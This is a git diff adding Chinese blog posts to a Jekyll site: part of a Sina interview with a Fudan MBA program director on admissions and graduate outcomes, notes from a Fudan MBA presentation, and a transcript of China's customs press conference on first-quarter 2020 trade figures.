time学生我们要求你对很多问题有自己想法、自己的思考，如果你平时对商业很感兴趣，平时保持着对外界信息的索取，不可能错过电商大战的新闻，如果平时就有思考的习惯，一定会思考电商大战会有什么样的前因后果，过程中有什么样的变数，也会思考阅读相关评论内容。我们就有这个面试案例来做面试，我们测试的不完全是说你对于电商的理解，我测试更多的是你对于日常的积累，你对商业问题是不是真感兴趣。我碰到过这样的学生，他说我以后想做管理，我问他好几个问题他完全不知道，我说你对商业不感兴趣，他说不是，我对商业管理很感兴趣，这种学生我不认为他对商业管理很感兴趣。我们不仅考察对电商的理解，也考察他日常的行为习惯。复旦MBA面试不是临时抱佛脚能完成的，我们挑选真正对商业有敏感度，平时有这种思考习惯，真正对商业感兴趣的这些学生。我相信这些学生，通过复旦的面试一定会崭露头角。 + +主持人唐敏：复旦MBA挑选的人才不是只会表演，不是只是说我喜欢商业想做未来管理者，也不是说做很好的准备，准备好很多题目分析清楚，这种是临时抱佛脚。复旦MBA需要的是你对这个行业真正感兴趣，对这个行业有很深的理解，对商业有很深的把握，这是咱们挑选人才的标准。 + +孙龙：他要有思考的习惯，那你在整个复旦面试中一定会脱颖而出了。 + +主持人唐敏：过完十一，就要开始网报了，复旦MBA十个城市的飞行面试，但只是针对全日制的，咱们整体招生已经推进到哪个进度？对现在看视频的网友，时间上是否来得及呢？ + +孙龙：今年在上海总共做三次集中面试，第一次已经过了，今天应该到截止时间，大家看到这个视频已经过了，接下来面试是十月中。第二批截止时间已经过了，第三批截止时间是11月16号，网上推荐信等内容全部完成，11月16号之前完成递交申请材料，可以赶上第三批提前面试，这是复旦MBA在上海本地最后一次面试的最后一次递交材料时间，面试会在12月11、12号这两天来做。 + +主持人唐敏：这块时间也是比较紧，第二次提交材料，像孙主任刚才提是今天截止，视频播出已经过了，11月16号把第三批材料准备好进行面试。MBA教育不是普通硕士教育，更多是职业教育，刚才提了很多在教学模式、教学理念上，MBA教育的主线，是通过这两年或两年半的学习，学生是否真正获得他学到的知识，是否把学到的知识运用到实践中，不仅在于他在工作中有优越的表现，他在职业中是不是有很大的提升，咱们过去20年有没有对这方面做跟踪调查呢？ + +孙龙：我们去年对04级学生做了职业调查，这些学生职业发展非常好，简单薪资角度来看，他们薪资相较于毕业时间点，五年后薪资是271%的样子。薪资从我们的角度来看，它是如影随形的指标，是影子指标不是主要指标，我们超过77%的受访校友，对目前的工作表示非常满意，77%的受访者都说他对目前正在做的这份工作非常的满意，而且他对于未来，他希望在自己的工作上面投入更多精力，把他做的更好。 + +什么意思呢？也就是说这些校友，他找到了自己的合适的行业和位置，所以他的职业满意度非常高，同时他觉得自己的兴趣和能力，能够和这个工作岗位配合，他觉得我应该投入更多精力，它背后解读很多内容，77%这个数字是非常好的数字，很多时候我们面临申请人时，很多申请人他最大的困惑是说，我非常不希望在未来3-5年，我做的事情还是同样我现在做的事情，我希望做一件我更有兴趣的工作。77%我们的毕业生五年以后，依然对自己现在做的工作保持非常大的兴趣，有内在的驱动，相信他们的工作会做的很好，同时生活的会非常幸福，工作是生活很大的一个部分。 + +刚才讲到从校友的反馈，对MBA教育本身，你刚才说的非常对，它是一个职业教育，但不完全是仅仅针对职业的教育，它可能是对职业生涯过程当中的一次充电。它是一个转折点，通过这一次学习，如果是一个非常好的商学院(微博)两年到两年半的培养，相信学生对自己未来规划更加清晰，像我刚才说的非常希望所有加入复旦MBA的同学，毕业以后都有对自己新的职业的满意度，以及未来发展的预期和希望，保持一份信心。 + +主持人唐敏：在前期面试时，他对自己未来发展职业不太清晰，希望三到五年后找到更加满意的工作。请您用最简短的数据或说法告诉我们，大概在复旦MBA入学前入学后是怎样的情况，他毕业以后这些人行业是否有些变化呢？ + +孙龙：我们Part time学生培养角度，更多是在本行业本公司继续提升。我们曾经有一次调查，40%、50%的Part time学生，要么是职业上的提升，要么换另外一个公司做更好的发展，我们针对Full time的调查，Full time调查当中体现，在入学之前很多学生来自于贸易行业，在上海长三角地区，以及全国的比较多的贸易行业的同学，IT行业是比较多的，具体百分比我一下子想不起来，是比较分散的，贸易行业做贸易、外贸大概在15%，IT和计算机大概也在15%左右，金融行业入学之前是比较少的。还有一些其它的生产行业。但毕业时Full time学生呈现比较集中化的数据，在毕业的时间点，我们的学生差不多持续两三年之内，在金融行业的差不多是在28%-30%，去了生产制造和服务的行业的，差不多也是在30%左右，15%的学生会去咨询行业，相对来说他在毕业的时候已经密集，相对来说比较集中，对我想也是对他们生涯简单数据的一个体现。 + +主持人唐敏：对于这些在职的同学，职业生涯上面是职业生涯的提升，虽然行业不会做特别大调整，但行业提升比较大。在职学生和全日制的学生，从学生构成不一样，学生培养方式也不一样，出来成果在行业上面，是会有一些变化的。今天特别感谢孙老师做客新浪，我们聊了关于咱们的飞行面试，关于咱们的培养理念，和咱们的六点方面。节目最后代表所有今年想报考复旦MBA的问题，学费问题，今年学费问题会不会有变化调整呢？ + +孙龙：在九月初复旦MBA项目网页，已经更新了2013年新的学费标准，对于Full time MIT合作项目16万8两年，Part time项目22万8，已经在官网上面进行了公布。 + +主持人唐敏：现在学费是定下来了，不管学费上是不是有一些变化，整体来说MBA是对你职业生涯上非常重要的，抽出两年两年半时间回到学校重新梳理遇到的问题，对全日制的学生来说，去了解更多的一个行业，做新的行业。今天特别感谢孙老师，节目最后请您向今年想报考2013年复旦MBA的同学说您的建议和衷心祝愿吧。 + +孙龙：还在了解准备申请的这些网友，非常高兴借助新浪商学院的平台能够跟大家做这样非常深度的，一些问题问的非常有水平的一个交流。最后我想简单说一下，今年整个申请过程，我们今年全部申请网上提交，请大家一定注重网上提交所有材料，保证它跟你手写一样认真，网上有时打字比较轻松。一定要关注截止时间，11月16号之前递交，MBA的学生它是对自己职业发展方面长期的投资，我们希望参加MBA学习的同学，尤其是参加复旦MBA学习的同学，能够同学两年或两年半的学习，把自己职业生涯方向盘，重新抓回自己手里，不要成为一个随波逐流的人，如果能做到这一点，你两年或两年半成本经济精力投入，一定会为你未来职业生涯发展中给你提供更多的回馈。衷心祝愿报考复旦MBA的同学前程似锦。 + +主持人唐敏：正如孙老师所说，11月16号之前提交好材料，提交材料的同时准备自己的商业观察。也感谢各位网友的关注，我们下期节目再见。 + +# 参考 ++[考察商业敏感度思考习惯](http://edu.sina.com.cn/bschool/2012-09-24/1419356670.shtml) \ No newline at end of file diff --git a/_posts/2020-04-08-501-fd-mba2.md b/_posts/2020-04-08-501-fd-mba2.md new file mode 100644 index 0000000..651ac30 --- /dev/null +++ b/_posts/2020-04-08-501-fd-mba2.md @@ -0,0 +1,92 @@ +--- +layout: post +title: 青年精英 未来领袖 +pid: 501 +tags: [考研] +--- + +青年精英 未来领袖 + +复旦大学MBA项目主任祁新娥教授 + +项目副主任孙龙老师 + +春天播种希望，才能在秋天收获成功。 + +复旦百年人文底蕴 + +# Why MBA? + +1. 提升管理知识和技能？ +2. 突破职场天花板？ +3. 转换行业和职能？ +4. 提升学历？ +5. 寻找创业伙伴？ +6. 寻求创业？ +7. 拓展人脉？ +8. 自我价值？ + +# Why FUDAN MBA? + +1. 学校声誉 +2. 师资力量 +3. 口碑排名 +4. 人文底蕴 +6. 职业发展前景 +7. 校友资源 +8. 国际视野 - 非常多的国际资源，比如学位项目合作、商学院组织和国际认证 +9. 学历学位 + +举例： + +"破茧成蝶，磨炼能力意志" + +想要从复旦、耶鲁这样的顶级名校毕业，本就该经历一番历练，只有通过这个过程，我才能磨砺心志，突破自我，破茧成蝶。 + +"跨界与突破，无惧挑战" + +复旦MBA拓宽了我的思维和职场边界，让我有能力去创造更多可能，思维方式更接近于‘成长型思维’，愿意承担风险，更坚韧，更加无惧挑战。 + +# 办学历程 +1. 创办：1905年创建，原名复旦公学，是中国人自主创建的第一所高等院校，创始人为中国近代知名教育家马相伯。 +2. 命名：“复旦”源自“日月光华，旦复旦兮”，是《尚书大传 虞夏传》中的名句，意在自强不息。 +3. 现状：全球领先综合性研究型大学。QS世界大学排行榜最新排名居世界第40位。 + +# 复旦师者 + +周谷城、苏步青、谈家桢、贾植芳、于右任、陈寅格、陈望道、谢希德 + +# 中文在职MBA项目 + +1. 在职攻读，平衡工作学习 +2. 六大方向“T”型人才成长路径，系统管理与纵深专业发展 +3. 跨行业、智能，构建职业发展生态圈 + +# 复旦MBA项目的使命 + +青年精英 未来领袖 + +借助中国经济高速发展和复旦大学管理学院的优质资源，培养具有全球视野又深谙中国国情的青年精英、未来领袖，为经济繁荣和社会发展做出贡献！ + +# 一个核心，五大支柱 全方位学习价值系统 +1. 知识：课程体系 +2. 视野：全球平台，短期海外学习、国际交流 +3. 能力：管理实践，课外支持系统，各种俱乐部，创新创业，行动实验室，商业咨询项目 +4. 责任：领导力提升，终身领导力发展体系，聚劲Orientation入学导向活动，复旦MBA爱心委员会 +5. 资源：终生发展，职业发展中心，企业招聘，校友导师及企业导师资源 + +# 责任：复旦MBA爱心委员会 + +复旦大学MBA爱心委员会（以下简称“爱委会”），成立于2004年，是MBA项目学生们自发成立的专门从事慈善公益活动的团体，关注社会发展的不平衡，关注弱势群体，关注我们赖以生存的环境 + +1. 文化载体：勇担社会责任的文化共构 +2. 行动：形式多样、跨越地域的公益联合活动 +3. 课堂：进一步加强知识架构 +4. 自组织：提升生命意义的探索 + +# 复旦校友 + +1. EMBA校友：6800+ +2. MBA校友：11000+ +3. 管理学院校友：48000+ +4. 复旦大学校友：270000+ diff --git a/_posts/2020-05-12-503-customs-report202001.md b/_posts/2020-05-12-503-customs-report202001.md new file mode 100644 index 0000000..92f2d85 --- /dev/null +++ b/_posts/2020-05-12-503-customs-report202001.md @@ -0,0 +1,51 @@ +--- +layout: post +title: 海关总署2020年一季度进出口情况新闻发布会 +pid: 503 +tags: [考研] +--- + + +[胡凯红] 女士们、先生们，大家上午好！欢迎出席国务院新闻办举办的新闻发布会。今天我们请来海关总署新闻发言人、统计分析司司长李魁文先生，请他向大家介绍2020年第一季度的进出口情况，并回答大家关心的问题。首先有请李司长做介绍。 2020-04-14 10:00:22 + +[李魁文] 女士们、先生们、各位记者朋友们，大家上午好！我先通报一下今年一季度我国外贸进出口情况，之后回答大家关心的问题。 今年一季度，面对突如其来的新冠肺炎疫情，在以习近平同志为核心的党中央坚强领导下，我国统筹推进疫情防控和经济社会发展，防控阶段性成效进一步巩固，稳外贸措施持续推进，外贸企业复工复产取得重要进展。据海关统计，一季度我国货物贸易进出口总值6.57万亿元人民币，比去年同期下降6.4%。其中，出口3.33万亿元，下降11.4%；进口3.24万亿元，下降0.7%；贸易顺差983.3亿元，减少80.6%。具体看，有以下六方面特点： 2020-04-14 10:02:44 + +[李魁文] 一是3月当月进出口出现回升。今年3月份，我国外贸进出口2.45万亿元，同比下降0.8%，降幅较1-2月收窄8.7个百分点。其中出口1.29万亿元，下降3.5%；进口1.16万亿元，增长2.4%。 二是东盟超过欧盟成为我国第一大贸易伙伴。一季度，我国对东盟进出口9913.4亿元，增长6.1%，占我国外贸总值的15.1%，东盟成为我国第一大贸易伙伴；对欧盟进出口8759.3亿元，下降10.4%；对美国进出口6680.1亿元，下降18.3%；对日本进出口4656.8亿元，下降8.1%。此外，我国对“一带一路”沿线国家进出口2.07万亿元，增长3.2%，高出整体增速9.6个百分点。 三是民营企业进出口降幅较小、比重提升。一季度，民营企业进出口2.78万亿元，下降2%，占我国外贸总值的42.4%，比去年同期提升1.9个百分点。其中，出口1.71万亿元，下降7.3%，占出口总值的51.4%；进口1.07万亿元，增长7.9%，占进口总值的33.1%。外商投资企业进出口2.6万亿元，占我国外贸总值的39.6%。国有企业进出口1.16万亿元，占17.7%。 四是一般贸易进出口比重达到6成。一季度，我国一般贸易进出口3.94万亿元，下降5.7%，占我国外贸总值的60%。其中，出口1.95万亿元，下降11.3%；进口1.99万亿元，增长0.5%。加工贸易进出口1.56万亿元，下降12.4%，占23.8%。 五是机电产品和劳动密集型产品为主要出口商品。一季度，我国机电产品出口1.95万亿元，下降11.5%，占出口总值的58.5%。同期，纺织服装等7大类劳动密集型产品出口5969.8亿元，下降15.3%，占17.9%。 六是铁矿砂、原油、煤等大宗商品和肉类等重点民生消费品进口较快增加。一季度，我国进口铁矿砂2.6亿吨，增加1.3%；进口原油1.3亿吨，增加5%；进口煤9577.8万吨，增加28.4%；进口天然气2465.6万吨，增加1.8%。此外，进口大豆1779.2万吨，增加6.2%；进口猪肉95.1万吨，增加1.7倍；进口牛肉51.3万吨，增加64.9%。受疫情影响，我国进口医药材及药品619.1亿元，增长14.8%。 2020-04-14 10:03:12 + +[李魁文] 当前国际疫情持续蔓延，世界经济下行风险加剧，不确定不稳定因素显著增多，我国外贸进出口面临的困难加大。海关将以习近平新时代中国特色社会主义思想为指导，深入贯彻落实党中央、国务院关于统筹推进疫情防控和经济社会发展工作的决策部署，毫不松懈地做好口岸疫情防控工作，持续优化口岸营商环境，支持企业开拓国际市场，努力稳定我国外贸基本盘，推进更高水平对外开放，为实现全年经济社会发展目标作出海关应有的贡献。 下面，我愿意回答大家提出的问题。谢谢。 2020-04-14 10:06:52 + +[胡凯红] 谢谢李司长，现在开始提问。 2020-04-14 10:09:01 + +[​中央广播电视总台央视新闻中心记者] 刚才李司长介绍了，今年受疫情影响，一季度我国外贸进出口同比下降6.4%，请问您对我国一季度外贸的表现如何评价？目前疫情还在全球蔓延和扩散，对我国外贸进出口全年走势，您怎么看？ 2020-04-14 10:19:12 + +[李魁文] 谢谢你的提问。今年一季度，面对突如其来的新冠肺炎疫情，在以习近平同志为核心的党中央坚强领导下，国内疫情防控阶段性成效进一步巩固，党中央、国务院出台了一系列外贸稳定增长措施，各地各部门也出台多项措施，有序推动国内企业复工复产。一季度，我国进出口虽然下降了6.4%，但降幅较前2个月明显收窄3.1个百分点，外贸进出口有所回升。主要体现在以下三个方面： 一是3月当月进出口有所好转。随着外贸稳增长政策效应逐步显现，前期因延期复工积压的出口订单陆续交付。3月份当月，我国外贸进出口2.45万亿元，同比下降0.8%。从旬度看，3月中旬、下旬连续两旬进出口都实现了正增长。其中，3月出口降幅收窄至3.5%，进口则增长2.4%。贸易平衡也由前2个月的逆差转为顺差。 二是内需推动进口表现较好。随着国内工业生产和居民生活逐步恢复，我国强大的国内市场潜力逐步释放。一季度，我国进口值下降0.7%，其中3月份进口增长2.4%。特别是在肉类、食糖等进口增长的带动下，一季度消费品进口增长13%；而生产原材料，比如煤、原油、金属矿砂、集成电路进口值分别增长23.8%、8.3%、6.8%和13.1%。我国强大的国内市场为创造全球总需求作出贡献。 三是对“一带一路”沿线国家进出口保持增长。尽管一季度外贸进出口整体呈下降态势，但我国对“一带一路”沿线国家外贸进出口保持增长，成为我国外贸稳定发展的重要因素。据海关统计，今年一季度，我国与“一带一路”沿线国家进出口达到2.07万亿元，同比增长3.2%，其中对东盟、俄罗斯进出口分别增长6.1%和5.7%。 关于全年的外贸走势，我们关注到，当前全球新冠肺炎疫情还在加快蔓延，对世界经济发展造成了严重的冲击。最近，国际货币基金组织最新预测今年全球经济将发生衰退，世界贸易组织也预测今年全球货物贸易下滑较大。国际市场的需求萎缩必然会对我国外贸出口造成冲击，外贸新订单减少等问题开始逐步显现，我国外贸发展面临的困难不容低估。但同时也要看到，中国的外贸韧性强、竞争力强，我国企业的创新能力和市场开拓能力也很强。 近期，按照党中央、国务院决策部署，各地各部门已经采取了一系列稳定外贸发展的措施，帮助企业克服困难，逐步打通国际运输通道，稳定供应链产业链。我们有以习近平同志为核心的党中央的坚强领导，有集中力量办大事的制度优势，有强大的国内市场，我们有信心稳住外贸基本盘，将疫情对我国进出口的影响降至最低。谢谢。 2020-04-14 10:19:43 + +[经济日报记者] 我们注意到一季度我国对东盟外贸增长逆势增长，东盟已经成为我国第一大贸易伙伴，请问原因是什么？谢谢。 2020-04-14 10:31:28 + +[李魁文] 谢谢你的提问。刚才我也提到了，今年一季度，我国与东盟进出口贸易显著好于外贸整体，进出口总值9913.4亿元人民币，同比增长了6.1%。出口5394.3亿元，增长2.4%；进口4519.1亿元，增长10.9%。大家知道，今年1月31日英国正式脱离了欧盟，对我国与欧盟的贸易总量形成一定影响。今年一季度，叠加英国“脱欧”因素，东盟以1154.1亿元的优势取代欧盟成为我国第一大贸易伙伴。具体来看，有几个因素促成了东盟位次提升： 一是今年一季度我国与东盟集成电路进出口大幅增长，拉动我国与东盟外贸整体增长了3.3个百分点。作为全球半导体产业链中的一部分，我国与马来西亚、新加坡、越南等东盟国家集成电路进出口贸易日趋紧密。一季度，我国自东盟进口集成电路1056.5亿元，增长25.8%，占自东盟总进口的23.4%；对东盟出口集成电路427.5亿元，增长28%，占对东盟总出口的7.9%。 二是我国与东盟的能源合作与贸易提速，拉动我国与东盟外贸整体增长1.7个百分点。今年一季度，我国与东盟原油进口和成品油出口增长合计拉动对东盟外贸增长1.3个百分点，煤炭进口拉动对东盟外贸增长0.4个百分点。 三是对越南、马来西亚进出口发挥“龙头”作用，拉动我对东盟外贸整体增长5.6个百分点。今年一季度，我国与越南进出口增长18%，对越南进出口的规模位居东盟各国的首位，比重达到25.8%，增速高出与东盟整体外贸增速11.9个百分点。今年一季度，与马来西亚进出口也增长7.6%，也发挥了“龙头”作用。 四是中国-东盟自贸区升级《议定书》全面生效，也促进了对东盟农产品出口的增长。去年10月，中国-东盟自贸区升级《议定书》对所有协定成员全面生效，在原产地规则、贸易通关规定、服务贸易、投资领域等方面都降低了门槛，进一步释放自贸区实施的红利，有力促进了农产品贸易发展。今年一季度，我国对东盟出口农产品284.5亿元，增长8.4%，拉动对东盟整体出口0.4个百分点。其中，“鲜、干水果及坚果”、茶叶、罐头分别增长31.2%，40.4%和28.4%。谢谢。 2020-04-14 10:31:50 + +[彭博新闻社记者] 考虑到一季度中国与美国之间的贸易额下降，以及中美之间服务贸易受到相应路径限制的影响，您有多大的信心能够达到在中美贸易一阶段协定中所达成的采购目标？谢谢。 2020-04-14 10:37:31 + +[李魁文] 谢谢这位外国记者的提问。刚才我通报的整体情况中简要介绍了一季度中美贸易的情况。随着中美第一阶段经贸协议的逐步落地，双边经贸出现了一些积极因素，尤其是近期部分商品自美进口出现了良好的增长势头。但同时也应当看到，由于受到新冠肺炎疫情和今年春节假期延长等因素的影响，一季度对美出口下降。我把一季度中美贸易数据给大家通报一下。 据海关统计，今年一季度，中美贸易总值6680.1亿元人民币，同比下降18.3%；其中，对美出口4765.5亿元，下降23.6%；自美进口1914.6亿元，下降1.3%。从出口商品看，一季度我国对美国出口机电产品2925.7亿元，下降24.1%，占同期对美出口总值的61.6%；其中，出口手机361.7亿元，下降10.3%；出口自动数据处理设备及其零部件516.3亿元，下降31.2%。同期，出口劳动密集型产品1057.7亿元，下降26.1%；出口医药材及药品52.5亿元，增长6.3%。 在进口方面，随着中美第一阶段经贸协议的逐步落地，大豆、猪肉、棉花等商品自美进口增长迅速。一季度，自美进口农产品355.6亿元，增长1.1倍。其中，进口大豆781.4万吨，增加2.1倍，价值218.8亿元，增长2.1倍；进口猪肉16.8万吨，增加6.4倍，价值30.4亿元，增长16倍；进口棉花12.4万吨，增加43.5%，价值15.9亿元，增长17%。 以上情况供大家参考，谢谢。 2020-04-14 10:37:59 + +[中国日报记者] 疫情发生以来，海关总署围绕稳外贸开展了哪些工作，现在取得的成效如何？谢谢。 2020-04-14 11:03:16 + +[李魁文] 谢谢你的提问。大家知道，2019年中国外贸高质量发展取得了一些积极成效。今年一季度，在新冠肺炎疫情全球蔓延、贸易下行压力加大的背景下，我国外贸发展质量继续有所提高，主要体现在以下五个方面： 一是加工贸易下滑较快，但一般贸易优于整体。一季度，加工贸易进出口1.56万亿元，下降12.4%，但产业链更长、附加值更高、更能反映企业自主发展能力的一般贸易方式进出口3.94万亿元，下降5.7%，降幅小于总体。一般贸易进出口占我国外贸进出口总值达到60%，比重较去年同期提升0.4个百分点。 二是外贸进出口总值有所下降，但新兴业态保持了较快增长。一季度，我国跨境电商等外贸新业态继续保持了蓬勃发展的态势。其中，通过海关跨境电商管理平台进出口增长34.7%，市场采购方式出口增长50.9%。 三是对欧盟、美国等进出口下降，但对东盟进出口保持增长。一季度，我国对疫情形势严峻的欧盟、美国进出口分别下降10.4%、18.3%，对疫情形势相对缓和的日本和韩国进出口分别下降8.1%和5.7%。3月份，对日韩贸易好转，进出口同比分别增长4.3%和3.4%，一季度我们对东盟进出口逆势增长。 四是东部地区进出口有所下降，但中西部地区表现相对较好。近年来，我国全方位对外开放进程加快，中西部成为稳定我国外贸发展的重要力量。一季度，我国东部地区外贸进出口5.28万亿元，下降7.5%，但中西部地区外贸进出口1.04万亿元，只下降2.1%，占比较去年同期提升了0.7个百分点，达到了15.9%。 五是民营企业进出口降幅小，比重提升。一季度，我国民营企业外贸进出口下降2%，比整体降幅小了4.4个百分点，呈现出更强的抗风险能力。占比较去年同期提升了1.9个百分点，其中3月份当月民营企业进出口增长6.5%，成为带动3月份当月外贸好转的主要力量。 借这个机会向大家介绍一下海关总署围绕稳外贸开展的相关工作。新冠肺炎疫情暴发以来，外贸下行压力加大。为贯彻落实党中央、国务院关于稳住外贸基本盘的要求，海关总署先后出台了《关于应对疫情影响 促进外贸稳增长的十条措施》《海关支持中欧班列发展的措施》和《海关支持综合保税区发展措施》等多个文件。 2020-04-14 11:03:36 + +[李魁文] 在上述新举措的基础上，为进一步落实好习近平总书记2月23日在统筹推进新冠肺炎疫情防控和经济社会发展工作部署会议上的重要讲话精神，海关总署于3月6日印发了《关于统筹做好口岸疫情防控和通关便利化工作措施清单》，一共是50条措施，一方面进一步细化落实已出台的措施，强化相关政策的针对性和实效性；另一方面，适应疫情防控和复工复产工作的新形势，推出一系列新举措，充分发挥政策叠加效应，严防境外疫情输入，聚焦支持企业复工复产，缓解企业经营困难，保障外贸产业链和供应链的畅通运转。主要有五个方面的措施和成效： 一是简化通关作业流程。针对疫情防控特殊时期，我们全面优化企业注册、审批、报关、查验等流程。截至目前，从简从速为8945家企业在线办结注册备案手续；签发进口食品相关动植物检疫许可证2768份，用时缩短了37.4%。对进出口防疫物资开辟绿色通道，实现“零延时”通关。取消疫情防控和复工复产急需物资的转关限制，推行收发货人“免到场”查验新模式，有效解决了疫情期间交通不便和查验时人员聚集等问题。在重点口岸对农产品、食品进口实行24小时预约通关。 二是精简单证及证明材料。进一步深化“放管服”改革，免予企业在进出口申报环节提交合同、装箱单等随附单证。对于办理业务须验核纸质材料的，允许先提供电子文档后补交纸质材料。推行单证无纸化，为企业提供进口货物检验、检疫证书信息网上查询、打印服务。积极扩大与国外官方机构检验检疫电子证书联网核查，比如与荷兰等有条件的国家实施了输华证书的无纸化。对符合条件的中欧班列舱单，允许企业归并报关。方便企业办理海关知识产权备案，不再要求企业提供相应的货物证明材料。 三是降低企业通关费用。对受疫情影响未及时报关的进口货物减免滞报金，延长汇总征税报关单电子支付时限，目前已惠及1569家企业，涉及税款164亿元，占同期汇总征税应缴税款的40%。延长税款缴款税的缴税期限，目前惠及106家企业，涉及税款6.4亿元，占同期柜台支付应缴税款的26%。对因疫情影响导致经营困难无法按期缴纳税款的企业可申请延期缴税，最长3个月，并予以减免滞纳金。积极推进“单一窗口”与银行保险机构的合作对接，为7万余家企业提供线上无抵押、低利率普惠金融服务和政策性出口信用保险。 四是支持培育新的外贸增长点。推进全球维修和再制造业务在综合保税区内全面落地实施,集聚对外贸易新动能、打造对外开放新平台。支持发展势头较好的中西部地区设立综合保税区，促进中西部和东北地区承接加工贸易转移，服务地区开放型经济建设。支持跨境电商售后服务体系建设，支持企业设立退换货中心，完善跨境电商退货监管，解决跨境电商B2B出口海外仓货物退货难问题，鼓励企业大胆“走出去”。 五是积极应对国外限制性措施。加大对外交涉力度，促使因疫情原因对我国货物贸易采取限制措施国家取消或调整对我商品限制进口措施。加强国外技术性贸易措施应对，聚焦企业在出口过程中遭遇的技术性贸易壁垒，在WTO/TBT委员会第81次例会上提出大会特别贸易关注5个、双磋议题13个。加强通报评议工作，截至3月底累计接收国外TBT/SPS通报1246件，对其中影响较大的218件组织开展评议，对外提交评议意见49件。积极开展国外技术贸易措施专项培训，指导企业提前了解应对贸易伙伴国的入境限制检疫等要求。 以上是海关最近采取的一些措施的介绍。谢谢。 2020-04-14 11:04:09 + +[纽约时报记者] 非常感谢您刚才介绍了海关在简化程序方面作出的一些新举措。我的问题是关于中国出口个人防护用品的。两周前，中国政府方面出台了一个要求，对其他国家出口个人防护用品，需要获得相关医疗器械资质证书。上周五又有新的要求，相关物品出口前，每一批物品都要获得质量检测许可。我想问，这两个要求是必须同时满足，还是只满足其中一个要求就可以进行出口？ 2020-04-14 11:08:58 + +[李魁文] 谢谢。这是一个比较专业的问题。海关总署定期参加国务院联防联控机制的新闻发布会，针对具体问题，海关同事都有专题介绍，大家可以查询相关的发布会记录。在这里，我简要回答一下这位记者的问 近期，我们对医疗物资出口实施了相应监管。大家知道，在新冠肺炎疫情防控的特殊时期，进一步强化监管，规范医疗物资出口秩序，对更好地发挥我国医疗物资在全球抗击疫情中的作用具有重要意义。海关坚决贯彻党中央、国务院决策部署，强化监管，优化服务，支持有资质、有信誉的企业有序出口，为医疗物资走出国门、支持国际社会共同抗击疫情营造良好的通关环境。 最近我们会同有关部门发布了相关公告。医用物资质量安全直接关系人的生命健康，中国海关始终高度重视，采取有力措施，加强出口医用物资的监管。比如，前期联合发布了第5号公告，最近刚发布了第53号公告，也是为了进一步推动医疗物资的有序出口。海关将对相关工作情况做进一步解读和发布，希望大家关注相关专题新闻发布。谢谢。 2020-04-14 11:09:25 + +[香港经济导报记者] 刚才李司长也提到今年一季度我国与“一带一路”沿线国家进出口保持增长，请介绍一下我国与沿线国家外贸进出口情况。当前国际疫情不断蔓延，作为口岸检疫部门，中国海关如何与“一带一路”沿线国家开展合作共同抗击疫情？谢谢。 2020-04-14 11:18:45 + +[李魁文] 谢谢您的提问。我先回答第一个问题。首先，我介绍一下我国与“一带一路”沿线国家一季度外贸进出口的情况。今年一季度，我国与“一带一路”沿线国家合计进出口2.07万亿元，同比增长3.2%，高出我国外贸增速9.6个百分点，占比达到31.4%，比重超过3成。其中，出口1.1万亿元，下降1.8%；进口9654.4亿元，增长9.6%。从主要商品看，进口主要为原油和机电产品，这两种产品分别增长20%和20.1%，占我国自沿线国家进口总值分别达到29.3%和28.2%。我国对“一带一路”沿线国家出口主要是机电产品，占我国对沿线国家出口总值的53.2%。另外，从运输方式看，以航空运输和铁路运输方式进出口分别增长21.5%和14%。值得关注的是，中欧班列助力疫情下我国对沿线国家进出口，据中国国家铁路集团有限公司数据，今年一季度，中欧班列共开行了1941列，同比增长15%，有力保障了疫情时期我国对沿线国家的进出口贸易。 以上这些都充分说明，我国与“一带一路”沿线国家经济互补性强，外贸发展空间广阔，共建“一带一路”对于推动市场多元化和稳定我国外贸基本盘具有重要意义。 关于您提到的第二个问题，最近中国海关总署会同“一带一路”沿线国家相关海关和检验检疫部门，在共同抗击国际疫情方面加强海关国际合作，促进联防联控。目前，中国海关总署已与13个国家和地区签署了20份国境卫生检疫合作文件，推动开展信息交换、技术交流、个案合作和联动处置，为双方共同防控此次新冠肺炎疫情跨境传播奠定了重要基础。目前，我们还在积极参与构建“一带一路”沿线国家双边应对新冠肺炎疫情的联防联控合作机制。此外，海关总署5次参加了外交部牵头组织的新冠肺炎疫情防控网络视频会议，与会代表包括中亚、南亚、中东欧等“一带一路”沿线国家。在上述会议上，海关总署专题介绍了中国海关在边境口岸检疫的经验和做法，交流了防控新冠肺炎疫情的经验和信息。展望未来，我们会进一步加强与“一带一路”沿线国家相关海关国际交流和技术支持。谢谢。 2020-04-14 11:19:24 + +[胡凯红] 最后一个提问。 2020-04-14 11:20:11 + +[深圳卫视记者] 我在参加记者会之前，看到世界上一些主要媒体对于今年一季度中国进出口的预测，从现在公布的数据来看，比一些主要媒体预测的数据是好的，但是也注意到一些媒体提出质疑，因为中国主要的进出口伙伴受到影响主要在3月份，有可能4月份或者二季度对中国进出口带来比较大的负面影响。请问李司长对这样的质疑怎么看？另外，您刚才也提到，今年中国会想方设法努力稳住外贸基本盘，是否可以进一步问一下，您认为现在有没有必要下调或者说今年的目标有没有必要调整？谢谢。 2020-04-14 11:32:01 + +[李魁文] 谢谢你的提问，两个问题，第一，对数据怎么看。我们这次发布会其实就是数据的专场发布会，“数据是冰冷的，但是数据是说实话的”，我们是拿数据来说话的。至于各种不同看法，相信发布会后各方面的专家、学者等也会对数据作进一步解读和分析。 至于影响方面，我想简单回应一下。因为疫情的影响是显而易见的，刚才讲到相关数据，总体有所下降，但是3月份有所好转。当然，对一些地区、一些行业也会有不同影响。我想还是从数据角度给你一个答复，比如受新冠肺炎疫情的影响，今年一季度出口下降。一些沿海外贸大省其实也受到一定影响，比如广东、江苏一季度外贸呈现两位数下滑。从一些商品的情况来看，机电产品出口下降11.5%，还有一些重点行业，比如手机出口下降10.8%。从这个角度来看，相关影响需要大家从不同角度作进一步分析和观察。 第二，对于相关预测，刚才我提到了外贸走势，国际上各大机构，包括世界银行、国际货币基金组织、联合国最近对经济和贸易的下滑也做了相关预测，我们也在进一步进行观察和分析。相信通过对数据的进一步分析和观察，对相关的走势可以看得更清楚一些。谢谢。 2020-04-14 11:32:15 + +[胡凯红] 今天的发布会到此结束，谢谢李司长，谢谢各位。 2020-04-14 11:32:58 \ No newline at end of file diff --git a/_posts/2020-06-04-504-alihr.md b/_posts/2020-06-04-504-alihr.md new file mode 100644 index 0000000..5f7f359 --- /dev/null +++ b/_posts/2020-06-04-504-alihr.md @@ -0,0 +1,70 @@ +--- +layout: post +title: 流动与稳定：捧明星，消灭野狗，清理老白兔，放心用黄牛 +pid: 504 +tags: [岗前培训] +--- + 